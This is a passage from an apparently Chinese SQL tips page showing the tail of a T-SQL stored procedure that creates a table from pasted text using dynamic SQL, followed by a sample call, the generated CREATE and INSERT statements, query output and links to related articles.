@x='['+replace(rtrim(left(@a,@i-1)),']',']]')+']' else set @x=rtrim(left(replace(@a,'''',''''''),@i-1)) insert into #xx(val) values(@x) end else begin update #xx set val=val+' '+rtrim(left(@a,@i-1)) where ID=@j set @m=@m-1 end end if @i else set @a='' end update #xx set val='' where val='NULL' update #xx set val=''''+val+'''' where ID>@num2 if @num1@num2 begin RAISERROR ('datatype dismatch the columns',16,1) return end -- if use the exists template table,drop it if object_id('tempdb.dbo.'+@table_name) is not null exec('drop table '+@table_name) -- 建表 update a set a.fld_name=b.val from @dt a,#xx b where a.ID=b.ID and a.ID<=@num1 set @a='' select @a=@a+fld_name+' '+fld_type+',' from @dt where ID<=@num1 set @a=left(@a,len(@a)-1) set @sql='create table '+@table_name+'('+@a+')' exec(@sql) insert into @sqlt select @sql --插入数据 set @i=@num1+1 while @i<=(select max(ID) from #xx) begin set @a='' set @sql='select @s=@s+val+'','''+' from (select top '+convert(varchar(10),@num1) +' val from #xx where ID>='+convert(varchar(10),(@i))+') a' exec sp_executesql @sql,N'@s nvarchar(3000) output',@a output set @a=left(@a,len(@a)-1) set @sql='insert into '+@table_name+' select '+@a if len(@a)>0 exec(@sql) insert into @sqlt select @sql set @i=@i+@num1 end select * from @sqlt --select * from @dt exec('select * from '+@table_name) SET NOCOUNT OFF END 测试 exec dbo.create_table '##t2','varchar(20),datetime k',' ID AnDate 99101 2002-11-24 00:00:00.000 99101 2003-11-15 00:00:00.000 99101 2003-11-29 00:00:00.000 99101 2003-12-20 00:00:00.000' 结果 sql_statement -------------------------------------------------------- create table ##t2(ID varchar(20),AnDate datetime) insert into ##t2 select '99101','2002-11-24 00:00:00.000' insert into ##t2 select '99101','2003-11-15 00:00:00.000' insert into ##t2 select '99101','2003-11-29 00:00:00.000' insert into ##t2 select '99101','2003-12-20 00:00:00.000' ID AnDate -------------------- --------------------------- 99101 2002-11-24 00:00:00.000 99101 2003-11-15 00:00:00.000 99101 2003-11-29 00:00:00.000 99101 2003-12-20 00:00:00.000 ORACLE的写法在测试中,
【收藏几段SQL Server语句和存储过程】相关文章:
1.浅析Oracle和SqlServer存储过程的调试、出错处理数据库
8.一个查看MSSQLServer数据库空间使用情况的存储过程 SpaceUsed






文档为doc格式